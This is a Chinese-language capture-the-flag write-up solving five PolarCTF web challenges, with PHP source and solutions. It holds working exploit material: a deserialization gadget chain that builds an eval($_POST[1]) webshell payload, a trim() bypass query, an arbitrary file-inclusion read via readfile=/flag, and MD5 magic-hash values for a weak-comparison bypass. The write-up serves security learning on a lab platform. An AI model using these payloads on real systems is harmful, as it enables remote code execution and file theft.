CTFCTF学习polarctf-web(31-35)
fulian23Don’t touch me
考察点
f12看源码
解题
跟着源码里的路径访问
BlackMagic
考察点
trim函数
解题
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| extract($_REQUEST); $strCharList = "\r\n\0\x0B "; $strFlag = "\r xxxxx...xxxxx \n"; if(isset($strTmp)) { $strContent = trim($strFlag, $strCharList); if($strTmp == $strContent) { echo "flag{xxx...xxx}"; } else { echo "You're awesome, but not enough."; } } else { echo "I will never tell you the flag is inside!"; }
|
1 2 3 4 5 6 7 8 9 10 11 12
| PHP中的trim函数的用法:trim()函数是php中的内置函数,用于删除字符串左右两边的空格或预定义字符,并返回修改后的字符串,函数语法为:trim($string, $charlist)。 $string:用于指定要从中删除空白和左右预定义字符的字符串;必需参数,不可省略。 $charlist:用于指定要从字符串中删除的字符。可选参数,可省略;如果省略了,则将删除以下所有字符: - " " (ASCII 32 (0x20)),普通空格符 - "\t" (ASCII 9 (0x09)),制表符 - "\n" (ASCII 10 (0x0A)),换行符 - "\r" (ASCII 13 (0x0D)),回车符 - "\0" (ASCII 0 (0x00)),空字节符 - "\x0B" (ASCII 11 (0x0B)),垂直制表符
|
两边制表符没替换,所以payload为:?strTmp=%09xxxxx...xxxxx%09
反序列化
考察点
php反序列化
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php
class example { public $handle; function __destruct(){ $this->funnnn(); } function funnnn(){ $this->handle->close(); } } class process{ public $pid; function close(){ eval($this->pid); } } if(isset($_GET['data'])){ $user_data=unserialize($_GET['data']); }
$a=new example(); $a->handle=new process(); $a->handle->pid = 'eval($_POST[1]);'; $a->handle->close(); echo urlencode(serialize($a)); ?>
|
毒鸡汤
考察点
目录爆破,代码审计
解题
扫描到有robots.txt文件,访问有hint.txt文件,知道flag在根目录
又扫到了/www.zip拿到源码,发现index.php里有任意文件包含
访问index.php?readfile=/flag得到flag
upload tutu
考察点
上传文件,弱比较
解题
上传图片返回File too large!
抓包后手动指定内容
传递不同的内容会显示MD5 hashes do not match!
传递相同的内容会显示Files are not different!
所以又要不同md5的值又要相同
后端为php猜测弱比较
传递s1836677006a
和s1885207154a
成功返回flag